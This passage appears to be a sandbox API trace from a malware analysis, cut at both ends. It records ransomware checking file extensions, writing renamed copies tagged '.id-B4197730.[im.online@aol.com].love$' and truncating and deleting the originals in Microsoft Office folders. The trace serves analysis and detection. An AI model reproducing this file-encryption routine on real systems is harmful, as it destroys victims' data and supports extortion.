Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0251.403] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi.id-b4197730.[im.online@aol.com].love$")) returned 0 [0251.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64 [0251.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64 [0251.403] lstrlenW (lpString=".doc") returned 4 [0251.403] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0251.403] lstrlenW (lpString=".docx") returned 5 [0251.403] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0251.403] lstrlenW (lpString=".pdf") returned 4 [0251.403] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0251.403] lstrlenW (lpString=".xls") returned 4 [0251.403] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0251.403] lstrlenW (lpString=".xlsx") returned 5 [0251.403] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0251.403] lstrlenW (lpString=".ppt") returned 4 [0251.404] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0251.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64 [0251.404] lstrlenW (lpString=".zip") returned 4 [0251.404] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0251.404] lstrlenW (lpString=".rar") returned 4 [0251.404] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0251.404] lstrlenW (lpString=".bz2") returned 4 [0251.404] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0251.404] lstrlenW (lpString=".7z") returned 3 [0251.404] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0251.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64 [0251.404] lstrlenW (lpString=".dbf") returned 4 [0251.404] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0251.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64 [0251.404] lstrlenW (lpString=".1cd") returned 4 [0251.404] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0251.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64 [0251.404] lstrlenW (lpString=".jpg") returned 4 [0251.404] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0251.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64 [0251.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64 [0251.404] lstrlenW (lpString=".doc") returned 4 [0251.404] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0251.404] lstrlenW (lpString=".docx") returned 5 [0251.404] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0251.404] lstrlenW (lpString=".pdf") returned 4 [0251.404] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0251.404] lstrlenW (lpString=".xls") returned 4 [0251.404] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0251.404] lstrlenW (lpString=".xlsx") returned 5 [0251.404] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0251.404] lstrlenW (lpString=".ppt") returned 4 [0251.404] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0251.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64 [0251.405] lstrlenW (lpString=".zip") returned 4 [0251.405] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0251.405] lstrlenW (lpString=".rar") returned 4 [0251.405] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0251.405] lstrlenW (lpString=".bz2") returned 4 [0251.405] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0251.405] lstrlenW (lpString=".7z") returned 3 [0251.405] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0251.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64 [0251.405] lstrlenW (lpString=".dbf") returned 4 [0251.405] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0251.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64 [0251.405] lstrlenW (lpString=".1cd") returned 4 [0251.405] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0251.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64 [0251.405] lstrlenW (lpString=".jpg") returned 4 [0251.405] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0251.405] lstrcmpiW (lpString1=".msu", lpString2=".love$") returned 1 [0251.405] lstrlenW (lpString="Windows6.1-KB2999226-x64.msu") returned 28 [0251.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0251.615] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=1026422) returned 1 [0251.649] CloseHandle (hObject=0x544) returned 1 [0251.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu")) returned 0x220 [0251.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0251.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0251.651] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.651] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0251.654] GetLastError () returned 0x0 [0251.654] ReadFile (in: hFile=0x544, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0xfa976, lpOverlapped=0x0) returned 1 [0251.691] WriteFile (in: hFile=0x528, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xfa980, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xfa980, lpOverlapped=0x0) returned 1 [0252.018] ReadFile (in: hFile=0x544, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0252.018] WriteFile (in: hFile=0x528, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x10c, lpOverlapped=0x0) returned 1 [0252.019] SetEndOfFile (hFile=0x528) returned 1 [0252.020] CloseHandle (hObject=0x528) returned 1 [0252.020] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.020] SetEndOfFile (hFile=0x544) returned 1 [0252.617] CloseHandle (hObject=0x544) returned 1 [0252.617] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0252.618] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu")) returned 1 [0252.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0252.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0252.619] lstrlenW (lpString=".doc") returned 4 [0252.619] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0252.619] lstrlenW (lpString=".docx") returned 5 [0252.619] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0252.619] lstrlenW (lpString=".pdf") returned 4 [0252.619] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0252.619] lstrlenW (lpString=".xls") returned 4 [0252.619] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0252.619] lstrlenW (lpString=".xlsx") returned 5 [0252.619] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0252.619] lstrlenW (lpString=".ppt") returned 4 [0252.619] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0252.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0252.619] lstrlenW (lpString=".zip") returned 4 [0252.619] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0252.619] lstrlenW (lpString=".rar") returned 4 [0252.619] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0252.619] lstrlenW (lpString=".bz2") returned 4 [0252.619] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0252.619] lstrlenW (lpString=".7z") returned 3 [0252.619] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0252.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0252.619] lstrlenW (lpString=".dbf") returned 4 [0252.619] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0252.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0252.619] lstrlenW (lpString=".1cd") returned 4 [0252.620] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0252.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0252.620] lstrlenW (lpString=".jpg") returned 4 [0252.620] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0252.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0252.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0252.620] lstrlenW (lpString=".doc") returned 4 [0252.620] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0252.620] lstrlenW (lpString=".docx") returned 5 [0252.620] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0252.620] lstrlenW (lpString=".pdf") returned 4 [0252.620] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0252.620] lstrlenW (lpString=".xls") returned 4 [0252.620] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0252.620] lstrlenW (lpString=".xlsx") returned 5 [0252.620] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0252.620] lstrlenW (lpString=".ppt") returned 4 [0252.620] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0252.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0252.620] lstrlenW (lpString=".zip") returned 4 [0252.620] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0252.620] lstrlenW (lpString=".rar") returned 4 [0252.620] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0252.620] lstrlenW (lpString=".bz2") returned 4 [0252.620] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0252.620] lstrlenW (lpString=".7z") returned 3 [0252.620] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0252.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0252.620] lstrlenW (lpString=".dbf") returned 4 [0252.620] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0252.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0252.620] lstrlenW (lpString=".1cd") returned 4 [0252.620] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0252.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0252.621] lstrlenW (lpString=".jpg") returned 4 [0252.621] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0252.621] lstrcmpiW (lpString1=".msu", lpString2=".love$") returned 1 [0252.621] lstrlenW (lpString="Windows8.1-KB2999226-x64.msu") returned 28 [0252.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0252.623] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=994589) returned 1 [0252.623] CloseHandle (hObject=0x540) returned 1 [0252.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu")) returned 0x220 [0252.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0252.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0252.624] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.624] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0252.625] GetLastError () returned 0x0 [0252.625] ReadFile (in: hFile=0x540, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0xf2d1d, lpOverlapped=0x0) returned 1 [0253.162] WriteFile (in: hFile=0x548, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xf2d20, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xf2d20, lpOverlapped=0x0) returned 1 [0253.186] ReadFile (in: hFile=0x540, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0253.187] WriteFile (in: hFile=0x548, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x10c, lpOverlapped=0x0) returned 1 [0253.187] SetEndOfFile (hFile=0x548) returned 1 [0253.187] CloseHandle (hObject=0x548) returned 1 [0253.187] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.187] SetEndOfFile (hFile=0x540) returned 1 [0253.305] CloseHandle (hObject=0x540) returned 1 [0253.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0253.378] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu")) returned 1 [0253.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0253.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0253.447] lstrlenW (lpString=".doc") returned 4 [0253.447] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0253.447] lstrlenW (lpString=".docx") returned 5 [0253.447] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0253.447] lstrlenW (lpString=".pdf") returned 4 [0253.447] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0253.447] lstrlenW (lpString=".xls") returned 4 [0253.447] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0253.447] lstrlenW (lpString=".xlsx") returned 5 [0253.447] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0253.447] lstrlenW (lpString=".ppt") returned 4 [0253.447] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0253.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0253.447] lstrlenW (lpString=".zip") returned 4 [0253.447] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0253.448] lstrlenW (lpString=".rar") returned 4 [0253.448] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0253.448] lstrlenW (lpString=".bz2") returned 4 [0253.448] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0253.448] lstrlenW (lpString=".7z") returned 3 [0253.448] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0253.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0253.448] lstrlenW (lpString=".dbf") returned 4 [0253.448] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0253.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0253.448] lstrlenW (lpString=".1cd") returned 4 [0253.448] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0253.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0253.448] lstrlenW (lpString=".jpg") returned 4 [0253.448] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0253.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0253.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0253.448] lstrlenW (lpString=".doc") returned 4 [0253.448] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0253.448] lstrlenW (lpString=".docx") returned 5 [0253.448] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0253.448] lstrlenW (lpString=".pdf") returned 4 [0253.448] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0253.448] lstrlenW (lpString=".xls") returned 4 [0253.448] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0253.448] lstrlenW (lpString=".xlsx") returned 5 [0253.449] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0253.449] lstrlenW (lpString=".ppt") returned 4 [0253.449] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0253.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0253.449] lstrlenW (lpString=".zip") returned 4 [0253.449] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0253.449] lstrlenW (lpString=".rar") returned 4 [0253.449] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0253.449] lstrlenW (lpString=".bz2") returned 4 [0253.449] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0253.449] lstrlenW (lpString=".7z") returned 3 [0253.449] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0253.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0253.449] lstrlenW (lpString=".dbf") returned 4 [0253.449] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0253.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0253.449] lstrlenW (lpString=".1cd") returned 4 [0253.449] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0253.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0253.449] lstrlenW (lpString=".jpg") returned 4 [0253.449] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0253.449] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0253.449] lstrlenW (lpString="AccessR_Grace-ul-oob.xrm-ms") returned 27 [0253.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440 [0253.731] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=11594) returned 1 [0253.731] CloseHandle (hObject=0x440) returned 1 [0253.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms")) returned 0x220 [0253.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0253.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440 [0253.732] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.732] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0255.173] GetLastError () returned 0x0 [0255.173] ReadFile (in: hFile=0x440, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x2d4a, lpOverlapped=0x0) returned 1 [0255.191] WriteFile (in: hFile=0x54c, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0255.193] ReadFile (in: hFile=0x440, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0255.193] WriteFile (in: hFile=0x54c, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x10a, lpOverlapped=0x0) returned 1 [0255.193] SetEndOfFile (hFile=0x54c) returned 1 [0255.193] CloseHandle (hObject=0x54c) returned 1 [0255.194] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.194] SetEndOfFile (hFile=0x440) returned 1 [0255.338] CloseHandle (hObject=0x440) returned 1 [0255.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0255.564] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms")) returned 1 [0255.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0255.566] lstrlenW (lpString="C:\\Program Files\\Microsoft 